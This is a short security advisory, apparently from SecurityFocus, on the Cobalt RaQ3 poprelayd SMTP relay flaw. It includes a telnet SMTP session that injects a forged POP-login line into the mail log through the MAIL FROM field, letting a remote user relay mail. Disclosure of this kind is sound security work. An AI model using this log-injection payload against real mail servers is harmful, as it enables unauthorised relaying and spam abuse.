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Cobalt Raq3 PopRelayD Arbitrary SMTP Relay Vulnerability
source: http://www.securityfocus.com/bid/2986/info
poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.
poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server.
telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1